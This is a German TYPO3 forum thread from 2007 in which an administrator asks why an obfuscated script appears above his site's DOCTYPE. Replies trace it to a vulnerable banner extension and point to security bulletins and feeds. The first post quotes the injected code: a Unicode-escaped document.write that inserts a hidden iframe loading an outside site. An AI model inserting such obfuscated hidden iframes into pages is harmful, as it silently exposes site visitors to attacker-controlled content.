---
title: "iframe oberhalb <!DOCTYPE html"
url: "https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html"
source: "typo3.net"
tags: ["Allgemein","Frage","Sicherheit"]
created: "2007-06-20"
last_reply: "2007-07-08"
replies: 10
solved: true
page: 1
pages: 1
lang: "de"
---

# iframe oberhalb <!DOCTYPE html

Allgemein · 10 Antworten · gelöst · gestartet 2007-06-20

## Frage

**Unbekannter Benutzer** · 2007-06-20 · [Beitrag #1](https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html/1)

Hallo,

in einer Typo3-Installation habe ich seit gestern ein Problem. Ganz oben im Quellcode der Browserausgabe befindet sich ein Iframe:
<script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\
u0070\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0061\u006c\u0065\u0078\u0061\u002d\u0072\u0061\u006e\u006b\u002e\u0069\u006e\u0066\u006f\
u002f\u006c\u0069\u0062\u0072\u0061\u0072\u0069\u0065\u0073\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u002e\u0070\u0068\u0070\u0020\u0073\
u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\
u0066\u0072\u0061\u006d\u0065\u003e');</script>
<!DOCTYPE html
     PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
     "<http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd>">
<html ...

Gut das kommt vermutlich über eine Lücke in Typo3 oder eine Extension rein.
Ich finde aber nicht die Stelle wo dies im Typo3 Quelltext eingsetzt wurde. Mit find und grep habe ich sämtliche Verzeichnis im Webdoc   danach durchsucht - ohne Ergebnis.
Weis hier jemand weiter?

MFG

## Beste Antwort

**Unbekannter Benutzer** · 2007-06-30 · [Beitrag #10](https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html/10)

Hallo!

vielen Dank für die Antworten.
Problem war macina_banners!
Und die Feeds und Bloggs kann ich nun auch nutzen.

Grüße
Vigor

## Antworten

### [#2](https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html/2) · ALCA74 · 2007-06-20

Hallo vigor

Da wurde Deine Site gehackt.

Lese mal diesen Artikel (<http://www.heise.de/security/artikel/49687>) bei Heise durch, ist ziemlich gut geschrieben.

Gruss
ALCA

### [#3](https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html/3) · Unbekannter Benutzer · 2007-06-20

Halo ALCA74,

danke für den Hinweis. Dort ist beschrieben was da so alles ablaufen kann.
Unklar ist hier die Lücke in Typo3 oder Extension.
**Ich würde gerne wissen in welcher Script-Datei der Text eingefügt wurde,
damit er ganz oben im Browserquelltext erscheinen kann.**
Es gibt eine typo3_src-Version, darin liegt die maßgebliche index.php,
die wiederum enthält require (PATH_tslib.'index_ts.php'). Aber in dieser
index_ts.php wird wiederum viel required und verarbeitet - was man sicher
nicht auf die Schnelle blicken kann. Deshalb meine Frage.

Grüße
Vigor

> **ALCA74 schrieb:**
>
> Hallo vigor
>
> Da wurde Deine Site gehackt.
>
> Lese mal diesen Artikel (<http://www.heise.de/security/artikel/49687>) bei Heise durch, ist ziemlich gut geschrieben.
>
> Gruss
> ALCA

### [#4](https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html/4) · ALCA74 · 2007-06-20

Hallo Vigor

Es muss nicht umdedingt im TYPO3 sein, es kann auch auf dem Server sein.
Nimm doch mit der Hotline des Hosters Kontakt auf.

Gruss
ALCA

### [#5](https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html/5) · Unbekannter Benutzer · 2007-06-20

Hallo ALCA74,

also ich bin der Linux-Administrator vom Server.
Auf den anderen Vhosts auf dem Server besteht das Problem eben nicht.
Auch auf dem Typo3-Vhost besteht das Problem auch nur bei Typo3.
Deswegen frage ich auch ganz gezielt nach.

Damit wir uns nicht falsch verstehen - ich administriere viele Linux-
Server. Und das Problem mit sicherheitstechnisch unglücklichen PHP-
Anwendungen habe ich öfters. Richtig wäre hier "löschen", Webanwendung
neuinstallieren, Sec-Patches und/oder Updates der Anwendungen einspielen
und neuaufbauen. Aber in diesem Fall geht organisatorisch nicht so einfach.

Grüße
Vigor

> **ALCA74 schrieb:**
>
> Hallo Vigor
>
> Es muss nicht umdedingt im TYPO3 sein, es kann auch auf dem Server sein.
> Nimm doch mit der Hotline des Hosters Kontakt auf.
>
> Gruss
> ALCA

:)

### [#6](https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html/6) · ttb · 2007-06-21

Schuld daran dürfte eine veraltete Version von macina_banners bzw. ric_rotation sein.

Siehe [/d/62569-wiederholte-attacken-auf-typo3-seite](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite) bzw. <http://typo3.org/teams/security/security-bulletins/typo3-20070608-1/>

### [#7](https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html/7) · Unbekannter Benutzer · 2007-06-22

Hallo ttb,

danke für die Info.
Das macina_banners war in diesem Fall das Problem.
Kennst Du eine Maillingliste, die schnell über Typo3/Ext Sicherheitsproblem
infomiert?

Grüße
Vigor

### [#8](https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html/8) · Spyker · 2007-06-22

Der Feed gibt eine Menge Infos zu TYPO3.

<http://typo3blogger.de/>

Auch Sicherheitslücken werden dort gebloggt.

BEste Grüße,
Tim

### [#9](https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html/9) · just2b · 2007-06-22

rofl Tim, ist ja e deiner ;)

da würde ich doch lieber die offiziellen feeds erwähnen, weil was ist, wenn du mal auf Urlaub oder kein interesse hast:

Offizielle Feeds von typo3.org <http://news.typo3.org/xml-feeds/>

georg

### [#10](https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html/10) · Unbekannter Benutzer · 2007-06-30 · Beste Antwort

(Text siehe oben unter „Beste Antwort“.)

### [#11](https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html/11) · ekki · 2007-07-08

Hi all,
auf typo3.org gibt es inzwischen eine **Zusammenfassung der Erkenntnisse des TYPO3 Security Teams** zu diesen Angriffen, nämlich unter
<http://buzz.typo3.org/teams/security/article/massive-web-server-hacks-iframe-attacks-now-extended-to-typo3/>

(deutsch unter
<http://www.naw.info/blogs/typo3security/2007/07/03/angriffswelle-gegen-webserver-iframe-attacken-nun-auch-typo3>)

Und die beste Quelle, um sofort von Sicherheitsupdates zu erfahren, ist natürlich <http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-announce> :-)

greets
/Ekki
__________________
*Ekkehard Gümbel
naw.info net&works Internet Services GmbH, Hannover
<http://www.naw.info>*

---

Quelle: „iframe oberhalb <!DOCTYPE html“, typo3.net, https://www.typo3.net/d/64212-iframe-oberhalb-doctype-html
Beiträge von Mitgliedern des Forums. Bitte mit Link auf die Diskussion zitieren.